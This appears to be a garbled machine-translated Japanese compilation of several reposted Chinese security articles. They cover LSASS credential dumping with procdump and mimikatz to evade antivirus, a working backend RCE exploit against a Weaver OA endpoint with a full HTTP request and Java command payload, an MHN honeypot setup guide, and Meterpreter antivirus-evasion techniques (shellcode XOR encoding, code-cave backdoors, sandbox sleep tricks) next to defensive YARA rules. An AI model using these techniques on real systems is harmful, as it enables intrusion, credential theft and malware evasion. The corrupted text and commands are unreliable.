Procdumpを使用してダンピングを使用しています(Microsoftプロジェクトであるため、EDRは毒を報告しません)、LSASSプロセスに保存されているパスワード情報を取得し、niuma.dmpとして保存します。 Procdumpプロジェクトアドレス:https://Learn.microsoft.com/zh-cn/sysinternals/downloads/procdumpコマンド:procdump.exe -ma lsass.exe niuma.dmpこの時点で、情報はローカル環境でMimikatzと同じディレクトリに引き込まれているため、通常のユーザー許可はniuma.dmpのプレーンテキストパスワードを直接読み取ることができます。ステップ1:sekurlsa3:3360minidump niuma.dmpステップ2:sekurlsa3:logonpasswordsフルdtjslq5p0eo745.pngしたがって、メモリストレージのDLL干渉を介してストレージを暗号化して、WDをバイパスする必要があります。

実装:前提は、LSA保護がオフになっており、管理者の特権であることです。操作中にエラーが発生する可能性があります。指定されたモジュール参照はありません。 DLLファイルの依存関係を見つけて、同じディレクトリに保存する必要があります。コマンドを使用して暗号化されたtest.logを生成し、パスC:/windows/tmepを保存し、ファイルをローカルに保存し、test.logを復号化して初期ストレージ情報を取得し、2番目のミミカッツと同じプレーンテキストパスワードを取得します。最初のステップでは、暗号化されたファイルを生成します:rundll32 dumphash.dll dllmain 2番目のステップローカル復号化コマンド:mimikatz decryption.exe test.log 1.bin 3番目のステップは、平文を読み取ります:sekurlsa:3360minidump 1つは、スクリーンショットが撮影されていません)vrq3q5x5f02746.png 4dvgmcfyzc1747.png

2。 Procdumpダンプバイパス360、Firefox

Githubプロジェクトアドレス:3https://github.com/xjsafe/mimikatzbypass yabpnkdqrpj748.pngリポスト

特定のアプリケーションには、バックグラウンドRCEがあります。関連情報によると、バックグラウンド監査プロセスでNewinstanceインスタンス化への呼びかけが見つかりました。

1049983-20221230170129034-671147105.jpg

ソースをトレースし、interfacere -gistercustomoperationcmd #excuteを見つけます

1049983-20221230170129956-1020521781.jpg 1049983-20221230170130646-385254389.jpg 1049983-20221230170131290-137097182.jpg 1049983-20221230170131980-1777197742.jpgアクセスパスは/API/Integration/Workflowflow/GetInterfacereGisterCustomoperationです

GetInterFacereGisterCustomoperation Calluteを実行し、最初にユーザーを審査するため、ここにはバックグラウンドの脆弱性があります

1049983-20221230170132700-2106793641.jpg

この汚染関数javacodetoobjectが必要なので、ifの条件を満たし、var18とvar20を制御する必要があります

1049983-20221230170133379-129851401.jpg

ここでは、var14を追加する必要があります

1049983-20221230170134013-1295699688.jpg

var14の値は、postメソッドが前に指定されているため、リクエストパラメーターメソッドから取得されるため、ここでメソッド=add

1049983-20221230170134726-485666733.jpg

判断を下した後、VAR15の値は空の場合に返されるため、ActionIDの値は空になりません。上記の条件と組み合わせると、method=addactionId=1

1049983-20221230170135481-1496417566.jpg

VAR18の開始がweaver.interfaces.workflow.action.javacode.actionが次の判断を入力して、例外をスローする場合、望ましい結果を達成できません。ここでclassname=weaver.interfaces.workflow.action.javacode.action、上記のパラメーターmethod=addactionid=1classname=weaver.interfaces.workflow.action.javacode.action

1049983-20221230170136238-102379160.jpg

次のVAR20値はJavacodeパラメーターから取得され、上記のペイロード方法=addactionId=1classname=weaver.interfaces.workflow.action.javacode.actionjavacode=

1049983-20221230170136847-546769203.jpg

var18にweaver.interfaces.workflow.action.javacodeが含まれている場合、javacodetoo objectコールに必要な場合、classname=weaver.interfaces.workflow.action.javacode.action.interfaces.workflow.action.action.javacode.actionが接続に使用されます。それ以外の場合、読み込み例外が報告されます。

1049983-20221230170137504-33586078.jpg

上記の条件によると、VAR18およびVAR20の条件は満たされています。構築されたvar20のパラメーターはjavacode=package weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacodeです。 java.io.ioexceptionをインポートします。 public class test {static {try {runtime.getRuntime()。exec( 'calc.exe'); } catch(ioexception e){e.printstacktrace(); }}}ここで、コマンドによって実行されたコードは、静的コードブロックに配置されます。これは、staticのコードがインスタンス化中に自動的に実行され、コマンドの実行が達成されるためです。

1049983-20221230170138280-888687245.jpg

実際のパッケージは正常に使用されていないようです。コードを振り返って、パラメーターがdtinfo_customparameterdataに紛失したことがわかりました

POST/API/Integration/Workflowflow/getInterFacereGisterCustomoperation HTTP/1.1

host:

アップグレード-Insecure-Requests: 1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/105.0.0.0 safari/537.36 EDG/105.0.0.1343.3333333333333333333333333

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: ecology_jsessionid=aaa8g6prbnnbd82yi6fky; jSessionId=aaa8g6prbnnbd82yi6fky; __randcode __=D2FA15E2-395E-4B3B-A004-82FC07C18695; loginidweaver=1; LanguageIdWeaver=7; loginuuids=1

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 548

メソッド=addactionId=1classname=weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode.testdtinfo_customparameterdata=11javacode=package weaver.interfaces.workflow.action.javacode.weaver.weaver.weaver.weaver.weaver.caction.wevever.weaver.caction.wever.weaver.cact

java.io.ioexceptionをインポートします。

パブリッククラステスト{

static {

試す {

runtime.getRuntime()。exec( 'calc.exe');

} catch(ioException e){

e.printstacktrace();

}

}

}

1049983-20221230170139043-1135092367.png

転載:https://xz.aliyun.com/t/11947

0x00 Mhn Honey Can Introduction MHN(Modern Honey Network):オープンソースハニーポット、ハニーポットの展開を簡素化し、ハニーポットデータの収集と統計を促進します。 ThreatStreamを使用して展開され、データはMongoDBに保存され、展開センサーはSnort、Kippo、Conpot、Dionaeaが侵入検知システムのインストールされています。収集された情報は、Webインターフェイスを介して表示できます。公式声明によると、現在、MHNサーバーの展開をサポートするためにテストされたシステムには、Ubuntu 14.04、Ubuntu 16.04、Centos 6.9が含まれます。

githubアドレス(https://github.com/threatstream/mh)

0x01サポートハニーポットタイプの鼻をサポートします

Suricata

dionaea

コンポット

キッポ

アムン

Glastopf

ワードポット

shaockpot

P0F

0x02mhnアーキテクチャ2frqdlmh2zd8068.png

0x03 mhnのインストールと使用1.ubuntuインストールMHN管理エンド#オペレーティングシステム:ubuntu16.04システム更新と自動化スクリプトのインストール

sudo aptアップデート

sudo aptアップグレード-y

sudo apt -get install git -y

CD /OPT

sudo git clone 3https://github.com/threatstream/mhn.git

CD MHN /

sudo ./install.sh

#サーバー情報の構成、メールとパスワードは、インストール後のWebバックグラウンドパスワードです

デバッグモードで実行したいですか? y/n

Superuser Email: root@backlion.org

Superuser Password:(再び):

サーバーベースURL ['http://155.138.147.248'] :

ハネマップURL [':3000'] : http://155.138.147.248:3000

メールサーバーアドレス['localhost'] :

メールサーバーポート[25] :

メールにTLSを使用しますか? y/n n

電子メールにSSLを使用しますか? y/n

メールサーバーのユーザー名[''] :

メールサーバーパスワード[''] :

デフォルトの送信者をメールで送信[''] :

ログファイルのパス['/var/log/mhn/mhn.log'] :

Splunkと統合しますか? (y/n)n

エルクをインストールしますか? (y/n)n

#スパンクとエルクを構成して、ここで構成しないことを選択しました

1sexilv3qoc8069.png

2.MHN構成2.1AGENTデプロイメントハニーポット展開オプションで、展開する必要があるハニーポットのタイプを選択し、インストールのために展開スクリプトをコピーします。

コンポットハニーポットを展開する場合は、次のスクリプト:をそのシステムで実行します

wget 'http://155.138.147.248/api/scrip/?text=truescript_id=15' -o deploy.sh sudo bash deploy.sh http://155.138.147.248 lfdwqan

q050w5x35y38070.png

2.2 SplunkおよびArcsightsplunkcd/opt/mhn/scriptsの統合/

sudo ./install_hpfeeds-logger-splunk.sh

sudo ./install_splunk_universalforwarder.sh

Tail -f /var/log/mhn/mhn-splunk.log

これにより、/var/log/mhn-splunk.logの値としてイベントを記録します。 SplunkunveralForwarderはこのログを監視する必要があります

arcsightcd/opt/mhn/scripts/

sudo ./install_hpfeeds-logger-arcsight.sh

Tail -f /var/log/mhn/mhn-arcsight.log

2.3データの禁止Mhnserverの報告は、デフォルトで分析データをAnomaliに報告します。この構成を無効にする必要がある場合は、次のコマンドを実行します。

CD MHN/スクリプト/

sudo ./disable_collector.sh

3。MHNを使用したハニーポットSSHハニーポットテストの展開#ハニーポット展開マシン:155.138.151.176

#honeypot:dionaea

wget

'http://155.138.147.248/api/script/?text=truescript_id=4' -o

deploy.sh sudo bash deploy.sh http://155.138.147.248 lfdwqant

#攻撃をクラックするためにブルートフォースを試してください

hydra -l root -p password.txt mssql: //155.138.151.176

4。インターフェイス関数ディスプレイ1。以下のインターフェイスは、攻撃者のソースIPアドレス、宛先ポート、アフィリエイトプロトコル、およびハニーポットタイプの攻撃レポート情報を示しています。

vrhrrhkyqmx8071.png

2.次の図には、攻撃ペイロードレポート情報(センサー、ソースIPアドレス、宛先ポートなど)がリストされています。

5t5kg5og4bj8072.png

3.次の図には、インストールされているエージェントセンサーがリストされています。

e3wjzy5i5nl8073.png

4.次の図には、それぞれ攻撃者のトップのユーザー名とパスワード辞書がリストされています。

w3tu4reszdd8074.png

m5uoi4fqo3v8075.png

kbcb5repbjw8076.png

5.次の接続アドレスを開き、リアルタイムの攻撃マップ(ハネマップ)を表示します

3xtivc3bedo8077.png

0x05システムトラブルシューティングとセキュリティ設定1。システムを確認してくださいステータスroot@mhn:/opt/mhn/scripts#sudo /etc/init.d/nginx status #check nginx status

* nginxが実行されています

root@mhn:/opt/mhn/scripts#sudo /etc/init.d/supervisorステータス#viewスーパーバイザーステータス

実行しています

root@mhn:/opt/mhn/scripts#sudo supervisorctlステータス#viewすべてのハニーポットシステムコンポーネントの実行ステータス

Geoloc Running PID 31443、Uptime 0:00:12

PID 30826を実行しているハネマップ、アップタイム0:08:54

PID 10089を実行しているHPFeeds-Broker、Uptime 0:36:42

MHN-CELERY-BEAT RUNSING PID 29909、Uptime 0:18336041

PID 29910、アップタイム0:18:41を実行しているMhn-Celery-Worker

PID 7872を実行しているMHNコレクター、アップタイム0:18:41

PID 29911を実行しているMHN-UWSGI、アップタイム0:18:41

Mnemosyne Running PID 28173、Uptime 0:30:08

root@mhn:/opt/mhn/scripts#sudo superpisorctl alt strestartすべての#restartすべてのハニーポットシステムコマンド

通常、各サービスのステータスは次のとおりです。

Geoloc Running PID 31443、Uptime 0:00:12

PID 30826を実行しているハネマップ、アップタイム0:08:54

PID 10089を実行しているHPFeeds-Broker、Uptime 0:36:42

MHN-CELERY-BEAT RUNSING PID 29909、Uptime 0:18336041

PID 29910、アップタイム0:18:41を実行しているMhn-Celery-Worker

PID 7872を実行しているMHNコレクター、アップタイム0:18:41

PID 29911を実行しているMHN-UWSGI、アップタイム0:18:41

Mnemosyne Running PID 28173、Uptime 0:30:08

2.ハネマップのステータスは、Golangの古いバージョンを削除するための致命的なソリューションです

sudo rm -rf/usr/bin/go

sudo apt-get golang-goを削除します

sudo apt-get remove-auto remove golang-go

Golangをインストールします。 Apt-GetインストールGolangがインストールされている場合、Golangバージョンが低いため、後でエラーが報告されるため、コンパイルされたパッケージを直接ダウンロードします。

WGET https://STORAGE.GOOGLEAPIS.COM/GOLANG/GO1.9.LINUX-AMD64.TAR.GZ

減圧してから、次の構成を実行します

sudo tar -xzf go1.9.linux -amd64.tar.gz -c/usr //local///パッケージ名はあなたと同じように変更する必要があることに注意してください

環境変数をインポートします:

goroot=/usr/local/goをエクスポートします

goarch=amd64をエクスポートします

Goos=Linuxをエクスポートします

export gobin=$ goroot/bin/

export gotools=$ goroot/pkg/tool/

エクスポートパス=$ gobin: $ gotools: $パス

依存関係プラグインネットをインストールし、すべてのハニーポットシステムコンポーネントを再起動します

CD/OPT/HONEYMAP/SERVER

gopath=/opt/honeymap/serverをエクスポートします

mkdir -p $ gopath/src/golang.org/x/

cd $ gopath/src/golang.org/x/

git clone https://github.com/golang/net.git net

ネットをインストールします

sudo supervisorctlはすべてを再起動します

3. MHN-CELERY-WOKERの状態は致命的なソリューションCD/VAR/LOG/MHN/

sudo chmod 777 mhn.log

sudo supervisorctlはMhn-celery-workerを開始します

うまくいかない場合

CD/var/log/mhn/#viewセロリワーカーエラーログ

Tail -f Mhn-celery-worker.err

プロンプトされた特定のエラーは次のとおりです

worker.err supervisor:は/root/mhn/server: eacces supervisor:子どものプロセスが生まれなかった)

ルートとディレクトリの権限を変更します

CHMOD 777 -R /root#アクセス許可を変更します

4.マニュアルパスワードリセットメールベースのパスワードリセットがあなたに適していない場合、これは別の方法です。

#CD/OPT/MHN/SERVER/SERVER//

#aptインストールsqlite3

#sqlite3 mhn.db

SQLiteバージョン3.7.9 2011-11-01 00:52:41

指示のために「.help」を入力します

';'で終了したSQLステートメントを入力します

sqlite select * fromユーザー。

1 | username@site.com | sklfdjhkasdlfhklsadhfklasdhfkldsahklsd | 1 |

sqlite.quit

$ cd/opt/mhn/server/

$ source env/bin/activate

$ CDサーバー

$ python manual_password_reset.py

メールアドレス: your_user@your_site.comを入力してください

新しいPassword:を入力します

新しいパスワードを入力してください(もう一度):

ユーザーが見つかった、パスワードの更新

5。ネットワークトラブルシューティング$ sudo netstat -luntp#ネットワークポートの開口部の状況を確認する

アクティブなインターネット接続(サーバーのみ)

proto recv-q send-qローカルアドレス外国住所状態pid/プログラム名

TCP 0 0 0.0.0.0:22 0.0.0.0:* 561/sshdを聞いてください

TCP6 0 0 :336021 :3360:* 3763/dionaeaを聞いてください

TCP6 0 0 :336022 :3360:*聞いてください561/sshd

TCP6 0 0 :1433 :* 3763/dionaeaを聞いてください

TCP6 0 0 :443 :* 3763/dionaeaを聞いてください

TCP6 0 0 :3360445 :* 3763/dionaeaを聞いてください

TCP6 0 0 :33605060 :* 3763/dionaeaを聞いてください

TCP6 0 0 :33605061 :* 3763/dionaeaを聞いてください

TCP6 0 0 :135 :* 3763/dionaeaを聞いてください

TCP6 0 0 :33603306 :* 3763/dionaeaを聞いてください

TCP6 0 0 :336042 :3360:* 3763/dionaeaを聞いてください

TCP6 0 0 :336080 :* 3763/dionaeaを聞いてください

UDP 0 0 0.0.0.0:68 0.0.0.0:* 464/dhclient3

UDP 0 0 0.0.0.0:40077 0.0.0.0:* 3763/dionaea

UDP6 0 0 :33605060 :3360:* 3763/dionaea

UDP6 0 0 :336069 :3360:* 3763/dionaea

$ sudo iptables -l #viewファイアウォールルールステータス

チェーン入力(ポリシーの受け入れ)

ターゲットProTソースの宛先

チェーンフォワード(ポリシーが受け入れる)

ターゲットProTソースの宛先

チェーン出力(ポリシーが受け入れる)

ターゲットProTソースの宛先

$ sudo tcpdump -nnnn tcpポート10000 #listen tcp 10000データ通信情報

tcpdump: verbose出力が抑制され、完全なプロトコルデコードに-vまたは-vvを使用します

ETH0、Link-Type EN10MB(イーサネット)、キャプチャサイズ65535バイトでリスニング

16336046:14.009646 IP 1.2.3.4.42873 5.6.6.8.10000: Flags [P.]、Seq 1180349317:1180349611、ACK 2474834734、Win 913、NOP、NOP、NOP、NOP、TS 169636000]、長さ

0×01静的検出と対立

1。静的分析の原理

簡単に言えば、署名コードを介して静的ファイルを識別することです。ソフトウェアを殺すと、ディスク上の画像ファイルがスキャンされます。署名コードが満たされている場合、マルウェアとして認識されます。

マルウェアマッチングルールYaraは、マルウェアを一致させるときにこの方法を使用します。

quarkspwdumpは、ハッシュツールを識別およびキャプチャするために使用されます。ヤラのルールは次のとおりです(ソースコードを参照)

/*

このYaraルールセットは、GNU-GPLV2ライセンス(http://www.gnu.org/licenses/gpl-2.0.html)の下にあり、このライセンスで使用する限り、任意のユーザーまたは組織に開かれています。

*/

ルールquarkspwdump_gen : Toolkit {

Meta:

説明='すべてのquarkspwdumpバージョンを検出してください

著者='FlorianRoth'

日付='2015-09-29'

スコア=80

Hash1='2B86E6AEA37C324CE686BD2B49CF5B871D90F51CEC24476DAA01DD69543B54FA' '

Hash2='87E4C76CD194568E65287F894B4AFCEF26D498386DE181F568879DDE124FF48F'

hash3='a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9c9' '

Hash4='C5CBB06CAA5067FDF916E2F56572435DD40439D8E8554D3354B44F0FD45814AB'

HASH5='677C06DB064EE8D8777A56A641F773266A4D8E0E48FBF0331DA696BEA16DF6AA'

Hash6='D3A1EB1F47588E953B9759A76DFA3F07A3B95FAB8D8AA59000FD98251D499674'

Hash7='8A81B3A75E783765FE4335A2A6D1E126B12E09380EDC4DA8319EFD9288D88819' '

文字列:

$ s1='openProcessToken()error:0x%08x'フルワードascii

$ s2='%d dumped' fullword ascii

$ s3='AdcustTokenPrivileges()error:0x%08x'フルワードascii

$ s4='\\ sam-%u.dmp'フルワードascii

条件:

それらすべて

}

マッチマッチ$ S1 $ S2 $ S3 $ S4は4つのルールすべてであり、識別としてマークされていることがわかります。

もちろん、MD5およびSHA1を介してファイルハッシュ認識を計算するマルウェアもあります。それは最もシンプルで、粗野で効果的ですが、それをバイパスするのも簡単です。セグメントの類似性を特定する方法もあります。原則は上記の機能コード認識と同じなので、ここでは繰り返しません。

2。抗静止分析

1.機能コードを変更します

機能コードを識別する方法もいくつかあります。最初は、それを見つけるために単一の機能コードを使用し、それに反対するCCLがありました。敵対技術のアップグレードにより、複数の機能コードがあり、対応するものはMutilCCL、MyCCL、Virtest、さらにはGitHubでの自動化された機能コード認識でさえ、ますます多様なテクノロジーを備えていました。

機能コードを変更する上で最も重要なことは機能コードを配置することですが、機能コードを配置した後、プログラムが正常に実行できることを意味しません。これは時間がかかり、労働集約的です。各ソフトキル入力メーカーの機能データベースは異なるため、ソフトキル入力の種類にのみ影響を与えることができます。効果は良くありませんが、ソースコードなしでは使用できます。

MeterPreterは私たちのオープンソースですが、コンパイルされたファイルを変更すると、それらを直接変更してソフトウェアを直接廃棄することがあります。これも保持方法です。スペースの制限のため、ここにコードと操作を投稿することはありません。

2.シェルを追加します

砲撃は機能コードのバイパスに非常に良い影響を与え、暗号化されたシェルは基本的にすべての機能コードをカバーすることができますが、シェル自体には機能があるため、欠点も非常に明白です。より不正な国内のソフトキルディング検出方法の下で、VMP、Mhemidaなどの主流のシェルは、それらが検出されると、ボックスに直接ポップアップして、このことに何か問題があることを伝えます。それは非常に直接的ですが、それでも非常に効果的です。場合によっては、シェルのいくつかの一般的なバージョンが直接削除されて分析されます。

この状況に直面して、人気のない暗号化されたすべてのシェルを使用することを検討できます。時間とエネルギーがある場合は、オープンソース圧縮シェルに基づいてソースコードを変更できます。効果は非常に良い場合があります。

一般に、特にオープンしていないソースPEファイルの場合、シェルを追加することで殺害を避けることがより実用的です。多くの機能コード認識は、鋳造によってバイパスされる可能性があります。

3.シェルコードコンパイル

Metasploitは、私が思う世界で最高の浸透試験ツールです。

MSFvenomは、シェルコードを含む複数の形式でペイロードを提供するだけではありません。シェルコードは、基本的に、静的なソフトキルを殺すことなくソースコードに使用するのに最適なツールです。

シェルコードコンパイルの特定の方法について、MeterPreterスキル共有に関する以前の記事を参照してください。ここでは繰り返しません。

MSFvenomを使用してエンコーダーを選択する場合、通常、shikata_ga_naiのエンコーディング方法(x86のエンコーダーの唯一のランクが優れているため)を選択し、このエンコーダーのデコードおよびエンコードプロセスはランダムに生成されます。 (エンコーディングプロセスのソースコードを参照)。

ただし、このエンコードコンテンツの特徴はあります。 shikata_ga_naiエンコード後のシェルコードには、16進数文字\ xd9 \ x74 \ x24 \ xf4が含まれている必要があります。 shikata_ga_naによってエンコードされたシェルコードを簡単に検出するためにYaraルールを書きました。ルールは次のとおりです。

ルールMetasploit_encoder_shikata_ga_nai :Decoder {

Meta:

説明='shikata_ga_naiを検出しますshellcode'

著者='green-m'

日付='2017-11-27'

文字列:

$ hex_string={d9 7424 f4(? | ?)c9 b1}

条件:

$ hex_string

}

テスト結果は図に示されています。

Meterpreter免杀及对抗分析

もちろん、それはshikata_ga_naエンコード方法だけではありませんが、他のエンコード方法の特性がより明白になるかもしれません(x86/fnstenv_movのエンコーディング方法は、多くのソフトキル入力ソフトウェアによって直接検出されます。次に、この状況と戦う場合は、エンコードされたシェルコードを自分でエンコードまたは暗号化できます。

誰もが体験できるデモとしてシンプルなXORを書きます。コードは次のとおりです。

unsignedcharシェルコード[]=

'\ x33 \ xc9 \ xb1 \ xc6 \ xd9 \ xee \ xd9 \ x74 \ x24 \ xf4 \ x5b \ x81 \ x73 \ x13 \ xe6';

//xorのキー

unsignedChar key []='\ xcc \0xfa \0x1f \0x3d';

//シェルコードをエンコードします

for(i=0; i(sizeof(shellcode)-1); i=i+1)

{

shellcode [i]=shellcode [i]^key [i%sizeof(key)];

}

//デコーダー

voiddecode()

{

for(i=0; i(sizeof(shellcode)-1); i+=1)

shellcode [i]=shellcode [i]^key [i%sizeof(key)];

}

voidexecuteshellcode()

{

decode();

//シェルコードを実行します

}

4.シェルコードインプラントバックドア

現在、多くの記事やツールは、背景を植え付ける方法を提供しています。たとえば、ShellterとThe-Backdoor-Factoryツールはすべて非常に強力です。

これは、コード洞窟(コードギャップ)にバックドアを手動で埋め込む方法の説明です。全体的なプロセスを図に示します。

Meterpreter免杀及对抗分析

より重要な部分は、スタックバランスを調整し、サブESPを介してスタックを調整するか、ESPを追加することです。そうしないと、ペイロードを実行した後の通常のプログラムがクラッシュします。

サイズに適したコード洞窟がない場合、またはペイロードが非常に大きい場合、一緒に使用するには複数のコード洞窟が必要になる場合があります。重要な部分は次のとおりです。

Meterpreter免杀及对抗分析

また、エンコーディングまたは暗号化の前の部分と組み合わせることができ、殺害効果は非常に良好です。殺害ソフトウェアのほとんどは直接GGです。

5。マルチプラットフォームと多言語

同じコンパイラによって生成されたPEファイルは、一部のセクションで同じまたは類似のバイナリバイトを持っています。同じ方法で生成された多数のトロイの木馬を収集した後、識別のためにこれらのPEファイルの機能を抽出するのは簡単です(たとえば、MSFvenomによって直接生成されるEXEはこのようなものです)。したがって、コンピレーション環境を変更し、認識された機能コードを変更して殺害を回避するという目標を達成することにより、同じアイデアも同じです。

Linuxの下のクロスコンパイラには、MINGW-W64、TDM-GCCなどが含まれます。VEIL-EVASIONのC言語コンパイラはMINGW64を使用し、Avetコンパイラは最初は非常に効果的だったTDM-GCCを使用します。それを使用した後、Soft Killingはこれらのコンパイラのコンパイルされた機能コードを意図的に抽出し始め、それらは1つずつ殺されました。

無料の殺害のために継続的に更新されたフレームワークとして、ベールは複数の言語を使用してコンパイルし、機能コードを無料で殺害する目的を達成します。使用される言語には、C、Python、Ruby、Perl、Powershell、C#、Goなどが含まれ、PytoexeまたはPywin32を介してPythonコードをExeに変換して、独自のトロイの木馬の多様性を維持します(ペイロードはソースコードを生成します)。

もちろん、JS、PHP、SCTなどのコンパイルされていない言語の実行に変換するなど、よりわいせつな方法があります。そのため、ここでは詳細には記載されていません。興味があるなら、あなたはそれを自分で理解するでしょう。

6。概要

これはおそらく静的殺人の方法です。複数の方法と組み合わせて使用する必要がある場合があります。もちろん、最初と2番目のメソッドは、一般にソースコードなしで採用されます。もちろん、分解と花、空のソースコードを変更するためにも考慮することができます。ソースコードは、より多くの時間とエネルギーを必要とし、オペレーターのスキル要件が高くなります。

0×02フロー検出と対立

1.メータープレタートランスミッションロード

MeterPreterのトラフィック特性を知るには、まずMeterPreterの送信方法を理解する必要があります。

Metasploitのトロイの木馬は、段階的で雄弁な2つの主要なカテゴリに分かれています。

段階的なタイプのトロイの木馬の実行プロセスは次のとおりです。

クライアントがサーバーからステイガーを受信した後、ステイガーはブートローダーとペイロードで構成されます。クライアントは、ペイロードを一時的に保存するためにメモリ内のアドレスを割り当て、次にローダーにペイロードをローダーにロードします。メモリにPEファイルを注入するこの方法は、反射DLLインジェクションと呼ばれます。

雄弁なものは、完全なペイロードをトロイの木馬にコンパイルすることです。段階的なトロイの木馬と比較して、前者は巨大で柔軟性がなく、殺すのは簡単です。

Windows/MeterPreter/Reverse_tcpを例として取りましょう。以下はソースコードの一部です(完全なソースコード)

#ステイガーを生成してコンパイルします

defgenerate_reverse_tcp(opts={})

combined_asm=%q^

CLD;方向フラグをクリアします。

スタートを呼び出します。コールスタートで、これにより「API_CALL」のアドレスがスタックに押し付けられます。

#{asm_block_api}; VirutalAlloc()などの関数アドレスを見つけるには

start:

ポップEBP

#{asm_reverse_tcp(opts)};ソケット接続を送信して削除します

#{asm_block_recv(opts)};ペイロードを再度再生した後、いくつかのことをしてください

^

Metasm:ShellCode.Assemble(Metasm:3360x86.new、combined_asm).encode_string

終わり

ASM_BLOCK_APIパーツは、クエリAPI呼び出しのアドレスを定義するために使用される関数です。

ASM_REVERSE_TCPパーツは、ソケットリクエストを送信するために使用されます。

ASM_BLOCK_RECVパーツは、接続を確立し、サーバーから送信されたステージャーを受信し、VirtualAlloc()を介してRWX許可メモリを割り当ててから、後続の操作を実行することです。

次に、接続を開始するためにクライアントを確立するプロセスのこの部分に特性がないことがわかります。特性は、主にサーバーに送信されるステージャーです。次に、詳細に送られたステージャーにあるものを見てみましょう。

クライアントがサーバーから送信されたメータープレターのペイロードを実行するには、最初にLoad MeterPreter_loaderを送信する必要があります。このブートコードのソースコードは次のとおりです(完全なソースコードアドレス):

def asm_invoke_metsrv(opts={})

^

ASM=%Q^

;プロローグ

12月EBP; 'm'

ポップEDX; 「Z」

$+5を呼び出します。次の指示に電話してください

ポップEBX;現在の場所(+7バイト)を取得します

プッシュedx; Edxを復元します

Inc ebp; EBPを復元します

EBPを押します。後でEBPを保存します

mov ebp、esp;新しいスタックフレームをセットアップします

; Refrictiveloader()を呼び出す

; OffsetをReflectiveloader()(0x ?)に追加します

ebx、#{'0x%.8x'%(opts [:rdi_offset] -7)}

EBXに電話してください。 Refrictiveloader()を呼び出す

; dllmain(hinstance、dll_metasploit_attach、config_ptr)を呼び出します

; Reflectiveloader()からDLLの終わりまでのオフセット

EBX、#{'0x%.8x'%(opts [:length] -opts [:rdi_offset])}

このコードの主な機能は、反射噴射ブートコードReflectiveloaderをロードし、Reflectiveloaderを介してMeterPreterおよび関連構成をロードすることです。スペースの理由により、ここでは、反射注射の詳細な荷重方法を掘り下げません。一般原則を知ってください。興味がある場合は、ソースコードを読んで理解できます。

2.METERPRETER検出

このmeterpreter_loaderは、固定アセンブリコードです。アセンブリコードの部分は、次のようにNASMを介してマシンコードに変換されます(環境で変化する可能性があります)。

4D5AE80000000005B52455589E581C364130000FFD381C395A40200893B536A0450FFD0

16進数文字列は、MeterPreterの機能です。アイデアを検証するために、送信されたペイロードを表示するためにトラフィックをクロールすることにより、図に示すように、送信後の送信ペイロードの最初の部分が上記のマシンコードであることがわかります。

Meterpreter免杀及对抗分析

Yaraルールを記述して、検出できるかどうかをテストします(Yaraは静的PE形式ファイルを検出するだけでなく、トラフィックファイルを検出できます。もちろん、Snortも使用できます)。ルールは次のとおりです。

ルールMetasploit_meterpreter_loader :rat {

Meta:

説明='MetasploitmeterPreter Windowsリバースステイガーを検出する'

著者='green-m'

日付='2017-12-11'

文字列:

$ hex_string={4d 5a e8 00 00 00 00 00 00 5b 52 45 55 89 E5 81 C3 64 13 00 00 ff D3 81 C3 95 A4 02 00 89 3B 53 6A 04 50 FF D0}

条件:

$ hex_string

}

図に示すように、Yaraを使用して送信されたトラフィックパケットを検出し、即座に検出します。

Meterpreter免杀及对抗分析

注:このYaraルールを使用してプロセス内のメモリを直接検出すると、トラフィックがどのように暗号化されても、最終的には復号化されます。次に、MeterPreter_LoaderがYaraによって検出されます。効率が低下することに加えて、バイパスできれば、ソースコードのみを変更できます。

スペースの制限があるため、他のペイロードのトラフィック特性を自分で確認してテストしてください。ここではあまりスペースを無駄にしません。

3。トラフィック検出との戦い

トラフィックが特徴付けられるため、トラフィックを暗号化する方法はありますか?答えは、サーバー側に設定することで、はいです

EnableSageEncodingをtrueに設定します

StageEncoder x86/fnstenv_movを設定します

効果は図に示されています(もちろん、ここでstagerencoderを選択できます)

Meterpreter免杀及对抗分析

送られたステイガーがエンコードされています。トラフィックから判断すると、図に示すように、すべてのエンコードされたデータが表示されません。

Meterpreter免杀及对抗分析

トラフィックをエンコードするこの方法が十分に安全ではないと感じた場合、MSFは証明書でトラフィックを暗号化できる妄想モードも提供します。

特定の操作方法については、公式ドキュメントまたは私のブログを参照してください。

0×03動的監視対立

静的検出とトラフィック監視の両方が言及されています。次に、サンドボックスと戦う方法について説明します。完全な対立を達成するために、サンドボックスプロジェクトは非常に大きいです。ここでは、ソフトを殺すというサンドボックス分析を欺くための下品なヒントについてのみお話します。

アンチウイルスソフトウェアの最大の問題は、単一のファイルで多くのパフォーマンスを無駄にすることなく、すべてのファイルをできるだけ迅速にスキャンする方法です(スキャンプロセス中にマシンを停止させるのは非常に悪い経験です)。これを行うには、多数のファイルで合理的な選択が必要です。

1.寝る

ソフトソフトとの戦いの初期の技術では、睡眠は多くの時間をかけ、ソフトソフトの動的な分析をバイパスできます。もちろん、これは間違いなく不可能です。ソフトを殺すとシステムの睡眠機能がフックし、直接スキップしてコードに直接従うと推測されます。これは、最も賢くてトラブルのない方法です。アイデアを確認するために、コードを使用してテストします。

他の簡単に干渉する要因を削除するために、固定コンパイラを使用してシェルコードをコンパイルすることを選択しました。

直接コンパイルして生成すると、Virustotalの結果は次のとおりです。19/67

Meterpreter免杀及对抗分析

確認する前に次のコードを追加します。

time_begin=getTickCount();

睡眠(5555);

time_end=getTickCount();

dword time_cost=time_end -time_begin;

if((time_cost time_sleep+5)||(time_cost(time_sleep-5))))

{return0;}

runshellcode();

テスト16/66

Meterpreter免杀及对抗分析

削減されたのは3つだけでしたが、そのうちのいくつかはまだこのトリックを取っていることを意味します。

2. numa

Numaは、均一なメモリアクセスの略です。これは、複数のシステムでメモリ管理を構成する方法です。 kernel32.dllで定義されているすべての一連の関数に関連しています。

詳細については、公式ドキュメントを参照してください。

